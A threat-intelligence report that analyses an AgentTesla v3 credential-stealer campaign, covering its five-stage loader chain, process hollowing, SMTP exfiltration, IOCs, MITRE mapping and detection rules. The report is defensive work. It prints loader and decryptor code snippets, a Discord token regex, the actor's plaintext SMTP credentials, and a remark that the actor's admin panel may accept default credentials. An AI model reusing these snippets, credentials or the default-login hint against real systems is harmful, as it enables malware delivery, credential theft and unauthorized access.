Back to reports
highPhishing

AgentTesla v3 — Five-Stage JavaScript Dropper with SMTP Exfiltration

PublishedMarch 12, 2026
Threat Actors:s to steal credentials from businesses.reads stolen credsmanagement
phishingagentteslacredential-theftc2apt

TLP: WHITE | Breakglass Intelligence | Analyst: GHOST | Date: 2026-03-12


Executive Summary

This report covers a fully analyzed AgentTesla v3 credential-stealing malware campaign delivered via an obfuscated JavaScript dropper. The infection chain spans five stages: an obfuscated 1.3MB JS dropper → multi-layer XOR-decrypted PowerShell → reflective .NET assembly loader → process-hollowing injector → final AgentTesla payload.

The final payload exfiltrates stolen credentials via SMTP to kc@cottondreams.org using the account mail@cottondreams.org (password: Payday2025) hosted on a Ukrainian VPS at 31.222.235.198 (NETH LLC, Kyiv, AS202302). The threat actor uses a FASTPANEL hosting control panel (port 8888) for server management and Exim 4.95 as the mail transport.

The malware targets an extraordinarily broad credential surface: 40+ browsers, 20+ email clients, 10+ FTP clients, VPN software (NordVPN, OpenVPN, PIA), Discord tokens, and Windows Credential Manager vaults. Campaign siblings trace back to January 2025, with the infrastructure domain registered in March 2024, indicating a persistent, long-running operation.

Threat actor profile: English-language phishing lures (fake purchase orders), Ukrainian hosting infrastructure, FASTPANEL admin panel — consistent with a financially motivated MaaS (Malware-as-a-Service) operator or single actor targeting businesses with spear phishing.


Sample Metadata

FieldValue
Filenameb78e6df5cd46adfe6472ccd1edc3bff0.js
SHA25699ef1d7248d7c0cd7ce3b10213a17336797951c4b1cef0a4c1d03330e4c95a5a
MD5b78e6df5cd46adfe6472ccd1edc3bff0
SHA185f23b01186c371111e87bbdbc1e950c60df7cd6
File Typetext/plain (obfuscated JavaScript)
File Size1,316,775 bytes (1.3 MB)
First Seen2026-03-12 17:15:04 UTC
Reporterabuse_ch
VT Detections14/76
VT Tagsjavascript, AgentTesla
FamilyAgentTesla v3
DeliverySpear phishing (fake purchase orders)

Stage Hashes

StageFileSHA256MD5SizeVT
1JS Dropper99ef1d72...b78e6df5...1.3 MB14/76
4DEV.dll (.NET injector)195e3d85...061c1eed...47 KB22/76
5AgentTesla payloadaf5f5302...71d57788...240 KB61/76

Static Analysis — Infection Chain

Stage 1: Obfuscated JavaScript Dropper

The initial sample is a 1.3MB single-line JavaScript file with multi-layer obfuscation:

  • Obfuscation: String table with 166 encoded entries, custom Base64/XOR encoding, anti-debugging via Date.now() timing checks
  • Execution vector: Runs via Windows Script Host (WScript.exe)
  • Purpose: Decodes and executes an embedded PowerShell payload via WScript.Shell.Run
  • Anti-analysis: Checks for process names, timing-based debugger detection
// Deobfuscated execution core (representative):
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -WindowStyle Hidden -EncodedCommand " + base64_payload, 0, false);

Stage 2: Multi-Layer PowerShell Decryptor (980KB)

The embedded PowerShell payload (stage2_decoded.ps1, 980KB) implements a five-stage decryption pipeline:

  1. Layer 1: Base64 decode of a 1.3-million-character string
  2. Layer 2: Custom rotational XOR cipher with embedded key
  3. Layer 3: Second XOR pass with derived key
  4. Layer 4: Byte array reconstruction
  5. Layer 5: Load and invoke .NET assembly via reflection

XOR Key: Extracted from the PowerShell source. Applies a rotational byte XOR with position-dependent key material.

# Decryption core (simplified):
$key = [byte[]](...)  # embedded XOR key
$data = [System.Convert]::FromBase64String($bigPayload)
for ($i = 0; $i -lt $data.Length; $i++) {
    $data[$i] = $data[$i] -bxor $key[$i % $key.Length]
}
[System.Reflection.Assembly]::Load($data)

Stage 3: Reflective .NET Assembly Loader (721KB)

stage3_decoded.ps1 (721KB) is the decrypted output of Stage 2, containing:

  • Function Invoke-AssemblyExecution: Loads a .NET assembly from a byte array via reflection and invokes a specified method
  • Function Test-ProcessAbsence: Checks if Aspnet_compiler is running (persistence guard)
  • Function Start-MonitoringCycle: Main loop that spawns the injector if the target process is absent

Key invocation:

Invoke-AssemblyExecution -AssemblyBlob $assemblyData `
    -TypeName 'DEV.DOWN' `
    -MethodName 'SHOOT' `
    -MethodArguments $invocationParams

This invokes the method DEV.DOWN.SHOOT in the Stage 4 assembly, passing the Stage 5 payload as a byte array argument.

Stage 4: Process Hollowing Injector — DEV.dll (47KB)

stage4_assembly.exe (SHA256: 195e3d85..., VT: 22/76, also known as DEV.dll, payload_1.dll) is a 47KB .NET DLL:

  • Namespace/Class: DEV.DOWN
  • Method: SHOOT (static, public)
  • Technique: Process hollowing — creates a suspended aspnet_compiler.exe process, unmaps its memory, maps the Stage 5 payload, then resumes execution
  • Capabilities: Process injection, shellcode execution, screenshot capability
  • VT names: DEV.dll, payload_1.dll, rcgxens.exe
  • VT family: MSIL/Injector.UWS, Gen:Variant.Zusy.602588
Process hollowing target: aspnet_compiler.exe (legitimate .NET compiler)
Hollowed and replaced with: Stage 5 AgentTesla payload

Stage 5: AgentTesla v3 Payload (240KB)

stage5_payload.exe (SHA256: af5f5302..., VT: 61/76) is a 240KB .NET assembly — the final AgentTesla v3 infostealer.

Compile target: e8ae4cc3-dac5-429a-ad46-d51bb0595a38.exe (GUID-based name, anti-forensic) Persistence name: GLOZVJ.exe in %APPDATA%\GLOZVJ\ Runtime path: Executed hollow inside aspnet_compiler.exe


C2 Configuration (Extracted from .NET User Strings Heap)

Protocol:  SMTP (port 587, STARTTLS)
Server:    mail.cottondreams.org
Sender:    mail@cottondreams.org
Password:  Payday2025
Recipient: kc@cottondreams.org
SSL:       true

Exfiltration format: HTML-formatted emails with subject containing victim hostname, IP, username, OS version. Attachments contain keylog data, screenshots, and harvested credentials organized by type (PW = passwords, KL = keylog, SC = screenshot, CP = clipboard).


Behavioral Analysis

Persistence

Registry:  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GLOZVJ
Path:      %APPDATA%\GLOZVJ\GLOZVJ.exe

Anti-Analysis

  • Checks for Aspnet_compiler process before re-injecting
  • Uses legitimate system process (aspnet_compiler.exe) as a host
  • GUID-based filename to defeat static hash lookups
  • Multi-layer obfuscation through 5 stages

Credential Harvesting Targets

Browsers (40+): Chrome, Firefox, Edge Chromium, Opera, Brave, Vivaldi, Yandex Browser, Chromium, Waterfox, SeaMonkey, Thunderbird, PaleMoon, IceFox, CyberFox, IceDragon, Epic Privacy Browser, UC Browser, Coccoc, Torch, Kometa, Flock, Orbitum, Elements Browser, Sputnik, Liebao Browser, QQ Browser, 7Star, Iridium, Amigo, CentBrowser, Comodo Dragon, and more.

Email Clients: Outlook (all versions 11.0–16.0), Thunderbird, The Bat!, Opera Mail, Eudora, IncrediMail, FoxMail, Mailbird, Claws Mail, eM Client, Becky!, Postbox, Windows Mail App, SeaMonkey Mail

FTP/File Transfer: FileZilla, CoreFTP, WinSCP, SmartFTP, FlashFXP, FTP Navigator, WS_FTP, FTP Commander, FTPGetter, FTP Commander Deluxe

VPN: OpenVPN (config files + registry), NordVPN (user.config), Private Internet Access (account.json)

Remote Access / VNC: RealVNC 3.x and 4.x, TightVNC, TigerVNC, UltraVNC

Messaging / Social: Discord (token scraping via regex [\w-]{24}\.[\w-]{6}\.[\w-]{27}), Pidgin, Trillian, Paltalk, Psi/Psi+

Other: MySQL Workbench, JDownloader 2.0, DynDNS, Windows Credential Manager vaults (all 8 vault GUIDs), IE/Edge credential vault

Keylogger

  • WH_KEYBOARD_LL hook captures all keystrokes
  • Active window title captured with each keystroke block
  • Interval: configurable (KeyloggerInterval)
  • Output: <b>[ WindowTitle ]</b> (timestamp) HTML format

Screenshots

  • CopyFromScreen GDI method
  • JPEG format, yyyy_MM_dd_HH_mm_ss filename
  • Interval: configurable (ScreenInterval)

Clipboard

  • SetClipboardViewer hook
  • Sends clipboard content to C2

Public IP Discovery

  • Makes HTTP request to external IP-check service (PublicIpAddressGrab)
  • Included in every exfil email header

AES Encryption (Browser credential decryption)

  • BCrypt AES-GCM for Chromium v80+ Local State encrypted keys
  • DPAPI (ProtectedData.Unprotect) for older browser credential databases
  • Custom decryption routines for Firefox key4.db / key3.db (NSS)

Kill Chain / Infection Flow

[Phishing Email]
  └─ Attachment: fake_PO.js (or renamed .js disguised as document)
       └─ Stage 1: WScript.Shell executes obfuscated JS
            └─ Stage 2: PowerShell (980KB, multi-XOR decryptor)
                 └─ Stage 3: Reflective loader PS1 (721KB)
                      └─ Stage 4: DEV.dll loaded via Assembly::Load()
                           │   TypeName: DEV.DOWN, Method: SHOOT
                           └─ Stage 5: AgentTesla injected into aspnet_compiler.exe
                                ├─ Persistence: %APPDATA%\GLOZVJ\GLOZVJ.exe
                                ├─ Keylogger: WH_KEYBOARD_LL hook
                                ├─ Screenshot: GDI CopyFromScreen
                                ├─ Clipboard: SetClipboardViewer
                                ├─ Credential harvest: 40+ browsers, 20+ email clients
                                └─ Exfil: SMTP → kc@cottondreams.org via mail.cottondreams.org:587

Network Indicators

C2 Infrastructure

IndicatorTypeNotes
mail.cottondreams.orgC2 SMTP hostnameMail server for exfiltration
31.222.235.198C2 IPResolves to mail.cottondreams.org
cottondreams.orgC2 domainRegistered 2024-03-24, Namecheap
kc@cottondreams.orgC2 email (recipient)Exfil destination
mail@cottondreams.orgC2 email (sender)SMTP auth account

Server Profile — 31.222.235.198

FieldValue
IP31.222.235.198
CountryUkraine (UA)
CityKyiv
ISP/OrgNETH LLC
ASNAS202302
Hostingnetx.com.ua (Ukrainian VPS)
OSUbuntu Linux
SSHOpenSSH 8.9p1 Ubuntu-3ubuntu0.13
MTAExim smtpd 4.95
IMAP/POPDovecot (Ubuntu)
Webnginx 1.28.0
PanelFASTPANEL (port 8888, port 7777)
TLS CNdedaGLmj.netx.com.ua (self-signed)
VT FlaggedYes (SOCRadar: malware)
Last Updated2026-03-12

Open Ports on C2 Server

PortServiceNotes
21/tcpProFTPD (Debian/Ubuntu)FTP
22/tcpOpenSSH 8.9p1Management access
25/tcpExim 4.95SMTP
80/tcpnginx 1.28.0HTTP (returns content)
110/tcpDovecot POP3TLS: dedaGLmj.netx.com.ua
143/tcpDovecot IMAPTLS: dedaGLmj.netx.com.ua
443/tcpnginx 1.28.0HTTPS (TLS CN: "parking")
465/tcpExim 4.95SMTPS
587/tcpExim 4.95SMTP Submission (C2 exfil)
993/tcpDovecot IMAPSEncrypted IMAP
995/tcpDovecot POP3SEncrypted POP3
7777/tcpFASTPANELHosting control panel
8888/tcpFASTPANELHosting control panel (redirects to HTTPS)

Note: FASTPANEL is a Russian-developed web hosting control panel widely used by post-Soviet hosting providers. The presence of FASTPANEL on both 7777 and 8888 identifies the server management interface. FASTPANEL has default credentials (admin/password) if not changed.

Domain Intelligence

FieldValue
Domaincottondreams.org
RegistrarNameCheap, Inc.
Registered2024-03-24
Expires2026-03-24
DNSCloudflare (cosmin.ns.cloudflare.com, jacqueline.ns.cloudflare.com)
PrivacyCloudflare DNS proxy (IP hidden via WHOIS, but resolves directly)
VT Detections5/94 (CRDF, CyRadar, Forcepoint, Seclookup, Webroot)
crt.sh Certs109 certificates found
Cert IssuerLet's Encrypt (R3), Sectigo, Google Trust Services

Certificate Transparency — Subdomains Observed

SubdomainNotes
cottondreams.orgRoot
www.cottondreams.orgWeb
mail.cottondreams.orgC2 SMTP server
server.cottondreams.orgAdditional server endpoint
*.cottondreams.orgWildcard cert (Sectigo)
cottondreams.org.auss-rite.storeCross-domain cert (suspicious)

MITRE ATT&CK TTPs

Technique IDTechnique NameImplementation
T1059.007JavaScriptStage 1: Obfuscated JS dropper
T1059.001PowerShellStages 2-3: Multi-layer PS1 execution
T1027Obfuscated Files or Information5-stage obfuscation chain
T1027.010Command ObfuscationBase64 + XOR encoding in PowerShell
T1027.002Software PackingCustom XOR packing of payloads
T1620Reflective Code LoadingStage 3→4: Assembly::Load()
T1055.012Process HollowingStage 4: Hollows aspnet_compiler.exe
T1547.001Registry Run KeysHKCU Run key for GLOZVJ.exe
T1056.001KeyloggingWH_KEYBOARD_LL hook
T1113Screen CaptureGDI CopyFromScreen
T1115Clipboard DataSetClipboardViewer hook
T1555.003Credentials from Web Browsers40+ browser credential harvesting
T1555Credentials from Password StoresWindows Credential Manager
T1552.001Credentials in FilesFTP/email/VPN config file parsing
T1528Steal Application Access TokenDiscord token regex extraction
T1020Automated ExfiltrationSMTP exfil to C2 at configurable intervals
T1048.003Exfiltration Over Unencrypted ProtocolSMTP with STARTTLS on port 587
T1071.003Application Layer Protocol: MailSMTP for C2 exfiltration
T1082System Information DiscoveryCPU, RAM, OS, MAC, IP collection
T1016System Network Configuration DiscoveryPublic IP via HTTP
T1057Process DiscoveryChecks for Aspnet_compiler process
T1140Deobfuscate/Decode Files or InformationMulti-stage decryption
T1566.001Spear Phishing Attachment.js file disguised as business document

IOCs

File Hashes

HashAlgorithmFileFamily
99ef1d7248d7c0cd7ce3b10213a17336797951c4b1cef0a4c1d03330e4c95a5aSHA256Stage 1 JS dropperLoader
b78e6df5cd46adfe6472ccd1edc3bff0MD5Stage 1 JS dropperLoader
85f23b01186c371111e87bbdbc1e950c60df7cd6SHA1Stage 1 JS dropperLoader
195e3d859d8fa9d0c12cd38beef8898e307b71422c8a18c2c3648f5f0220b447SHA256Stage 4 DEV.dll injectorInjector
061c1eed62c8326f2c8052851090f33dMD5Stage 4 DEV.dll injectorInjector
af5f53021774cf410f7cc1be223f3dd88e3c6439cfa384bb64ed749c7e5390c7SHA256Stage 5 AgentTeslaAgentTesla v3
71d57788cede0516516dae01575e2331MD5Stage 5 AgentTeslaAgentTesla v3
21306f0870d06c40d568218dc3c9e7023cb4ae03SHA1Stage 5 AgentTeslaAgentTesla v3
b2059d59922556f2677361a44d5b1c0a4422654e1f8e1af8f311771c4cf818d2SHA256Campaign sibling (Wipfztftom.exe)AgentTesla

Network IOCs

IndicatorTypeContext
31.222.235.198IPv4C2 SMTP server, Kyiv UA
mail.cottondreams.orgDomainC2 SMTP hostname
cottondreams.orgDomainC2 parent domain
server.cottondreams.orgDomainAdditional C2 subdomain
kc@cottondreams.orgEmailExfil recipient
mail@cottondreams.orgEmailSMTP auth account

Host IOCs

IndicatorTypeContext
%APPDATA%\GLOZVJ\GLOZVJ.exeFile pathPersistence location
GLOZVJMutex/Folder namePersistence identifier
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GLOZVJRegistryAutorun key
e8ae4cc3-dac5-429a-ad46-d51bb0595a38.exeFilenameDropped payload GUID name
aspnet_compiler.exeProcessProcess hollowing host
DEV.DOWN.NET type nameInjector class
SHOOT.NET method nameInjector entry point
Payday2025SMTP passwordC2 credential
31b7ba0e-2740-4ee8-b8b7-4402b942518dGUIDWMI query identifier

Campaign Context

Timeline

DateEvent
2024-03-24cottondreams.org registered on Namecheap; Let's Encrypt certs issued same day
2025-01-23Campaign sibling Wipfztftom.exe ("PO For Quote No 228 for lab Furnitures.com") first seen on VT
2026-03-12Current JS dropper sample submitted to MalwareBazaar by abuse_ch
2026-03-12C2 server actively responding on all ports (confirmed)
SHA256NameFirst SeenNotes
b2059d59922556f2677361a44d5b1c0a4422654e1f8e1af8f311771c4cf818d2Wipfztftom.exe / PO For Quote No 228 for lab Furnitures.com2025-01-23Same C2 domain, spear phishing PO lure, 53/75 VT

Phishing Lure Analysis

The campaign sibling PO For Quote No 228 for lab Furnitures.com reveals the delivery mechanism: fake Purchase Order / business quote emails targeting procurement staff. This is a classic business email compromise (BEC) precursor technique used by financially motivated actors to steal credentials from businesses.


Attribution

AttributeAssessmentConfidence
Malware familyAgentTesla v3 (MaaS)High
DeliverySpear phishing, fake PO/invoice luresHigh
InfrastructureUkrainian VPS (NETH LLC, AS202302, Kyiv)High
PanelFASTPANEL (Russian-developed hosting panel)High
Language/RegionRussian-speaking threat actor (probable)Medium
MotivationFinancial — credential theft, corporate espionageHigh
Actor typeAgentTesla MaaS subscriber or single-actor operatorMedium

OPSEC Mistakes:

  1. Credentials in binary: SMTP password Payday2025 stored in plaintext in .NET user strings heap — trivially extractable with standard .NET analysis tools
  2. Direct IP resolution: Despite Cloudflare DNS, mail.cottondreams.org resolves directly to the server IP (31.222.235.198), exposing hosting provider
  3. FASTPANEL exposure: Management panel on ports 7777/8888 exposed to internet with self-signed certificate — potentially accessible with default credentials
  4. Consistent infrastructure: Same domain used across campaign since March 2024 — no infrastructure rotation
  5. Dovecot TLS leak: Certificate CN dedaGLmj.netx.com.ua reveals hosting on netx.com.ua (Ukrainian hosting reseller), bypassing the Namecheap/Cloudflare privacy layer

Infrastructure Map

Threat Actor
    │
    ├─── Registers cottondreams.org (Namecheap, 2024-03-24)
    │         │
    │         ├── DNS: Cloudflare (cosmin.ns, jacqueline.ns)
    │         │         └── A record → 31.222.235.198
    │         │
    │         └── MX: mail.cottondreams.org → 31.222.235.198
    │
    └─── VPS: 31.222.235.198
              │   ISP: NETH LLC (AS202302)
              │   City: Kyiv, Ukraine
              │   Hosting: netx.com.ua (dedaGLmj.netx.com.ua)
              │
              ├── Port 587: Exim 4.95 ← AgentTesla SMTP exfil
              ├── Port 25/465: Exim 4.95 (additional SMTP)
              ├── Port 993/143: Dovecot IMAPS/IMAP ← actor reads stolen creds
              ├── Port 995/110: Dovecot POP3S/POP3
              ├── Port 80/443: nginx 1.28.0 (web)
              ├── Port 22: OpenSSH 8.9p1 ← actor management
              ├── Port 21: ProFTPD ← file management
              └── Port 7777/8888: FASTPANEL ← admin panel

Victims → [infected machine] → aspnet_compiler.exe (hollowed)
    └── SMTP → mail.cottondreams.org:587 → kc@cottondreams.org

Detection Guidance

Email Gateway

  • Block/alert on emails with .js attachments
  • Block outbound SMTP to mail.cottondreams.org / 31.222.235.198
  • Monitor for emails matching subject pattern: [Hostname]/[Username]/[IP] (AgentTesla format)

EDR/Host

  • Alert on aspnet_compiler.exe spawned from non-ASP.NET build contexts
  • Alert on WScript.exe or cscript.exe spawning powershell.exe
  • Alert on creation of %APPDATA%\GLOZVJ\ directory or GLOZVJ.exe file
  • Alert on HKCU\Run key modifications from PowerShell parent

Network

  • Block all traffic to 31.222.235.198
  • Block DNS resolution of cottondreams.org and subdomains
  • Alert on SMTP connections from workstations (non-mail-server hosts) on port 587

Report generated by GHOST — Breakglass Intelligence "One indicator. Total infrastructure."

Share